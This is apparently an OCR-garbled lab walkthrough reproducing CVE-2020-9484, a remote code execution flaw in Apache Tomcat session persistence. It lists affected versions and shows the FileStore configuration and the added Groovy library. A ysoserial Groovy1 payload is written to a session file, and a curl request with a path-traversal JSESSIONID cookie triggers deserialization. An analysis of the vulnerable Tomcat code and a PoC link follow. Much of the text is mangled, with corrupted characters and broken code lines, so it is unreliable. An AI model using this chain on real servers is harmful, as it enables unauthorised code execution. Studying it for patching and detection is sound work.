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Apache Tomcat:
10.0.0-M1 to 10.0.0-M4
9.0.0.M1 to 9.0.34

8.5.0 to 8.5.54

7.0.0 to 7.0.103
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1. 7% Tomcat 10.0.0-M4
https://repol.maven.org/maven2/org/apache/tomcat/tomca
t/10.0.0-M4/

2. B X HBEZEN /usr/local/tomcat
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/usr/local/tomcat/conf/context.xlm, il Manager



<Context>

<!-- Default set of monitored resources. If one of these
changes, the -->
<!-- web application will be reloaded.

<WatchedResource>WEB-INF/web.xml</WatchedResource>

<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>

<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

<!-- Uncomment this to enable session persistence across

Tomcat restarts -->
<!--
<Manager pathname="SESSIONS.ser" />
-->

<Manager

className="org.apache.catalina.session.PersistentManager">

<Store
className="org.apache.catalina.session.FileStore"

directory="/tomcat/sessions/"/>
</Manager>

</Context>
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4. & groovy-2.3.9 jar
https://mvnrepository.com/artifact/org.codehaus.groovy/groovy/2.3.9
5. groovy-2.3.9.jar I
/usr/local/tomcat/1lib



6. H1TIEEI1z1T Tomcat
7.

8. /usr/local/tomcat/bin/catalina.sh start

Using CATALINA_BASE: /usr/local/tomcat
Using CATALINA_HOME: /usr/local/tomcat
Using CATALINA_TMPDIR: /usr/local/tomcat/temp

Using JRE_HOME: /Jusr
Using CLASSPATH: /usr/local/tomcat/bin/bootstrap.jar:/u
Tomcat started.
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1. % ysoserial =P &EpkjavaR F5¢ payload By .jar &
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java -jar ysoserial-master-30099844c6-1.jar Groovyl "touch

/tmp/2333" > /tmp/test.session

> /tmp/test.session

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective ess by org.codehaus.groovy.reflection.CachedClass$3$1 (file:/home/kali/Downloads/ysoserial-master-30099844c6-1.jar) to metho

d java.lang.Object.finalize(

WARNING: Please consider reporting this to the maintainers of org.codehaus.groovy.reflection.CachedClass$3$1
WARNING: Use —illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
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curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie:
JSESSIONID=../../../../../tmp/test’

58@ — Internal
java.util.Set (j " . ssImpl and
r encountered an unexpected ition that prevented it
ava.lang.ProcessImpl cannot be cast to class java.util.Set (java.lang.Pr

AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:597)
iveMethodAccessorImpl.invoke@(Native Method)
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public Session load(String id) throws ClassNotFoundException,

IOException {

any

// Open an input stream to the specified pathname, if

File file = file(id);
if (file == null || !file.exists()) {
return null;
}
Context context = getManager().getContext();
Log contextLog = context.getlLogger();

if (contextLog.isDebugEnabled()) {



contextLog.debug(sm.getString(getStoreName()+".loading", id,
file.getAbsolutePath()));

}

ClassLoader oldThreadContextCL =
context.bind(Globals.IS SECURITY_ENABLED, null);

try (FileInputStream fis = new
FileInputStream(file.getAbsolutePath());

ObjectInputStream ois =
getObjectInputStream(fis)) {

StandardSession session = (StandardSession)

manager.createEmptySession();
session.readObjectData(ois);
session.setManager(manager);
return session;
} catch (FileNotFoundException e) {
if (contextLog.isDebugEnabled()) {

contextLog.debug("No persisted data file
found");

}
return null;
} finally {

context.unbind(Globals.IS SECURITY_ENABLED,
oldThreadContextCL);

}
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private File file(String id) throws IOException {
if (this.directory == null) {
return null;
}
String filename = id + FILE_EXT,;
File file = new File(directory(), filename);

return file;
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org.apache.catalina.session.getObjectinputStream 5%

protected ObjectInputStream getObjectInputStream(InputStream is)
throws IOException {

BufferedInputStream bis = new BufferedInputStream(is);
CustomObjectInputStream ois;

ClassLoader classlLoader =

Thread.currentThread().getContextClassLoader();
if (manager instanceof ManagerBase) {
ManagerBase managerBase = (ManagerBase) manager;

ois = new CustomObjectInputStream(bis, classlLoader,

manager.getContext().getLogger(),



managerBase.getSessionAttributeValueClassNamePattern(),

managerBase.getWarnOnSessionAttributeFilterFailure());
} else {

ois = new CustomObjectInputStream(bis, classLoader);

}

return ois;

getObjectinputStream Yl P = 17
org.apache.catalina.util.CustomObjectinputStream 38 EX gadget
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id

File (String id)
if (this.directory == null) {

String filename - id + FILE_EXT; t
File file = new ( v(), filename); ile 2 (storageDir, filename);

(storageDir.
ore.invalid”, file t
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https://github.com/masahiro331/CVE-2020-9484
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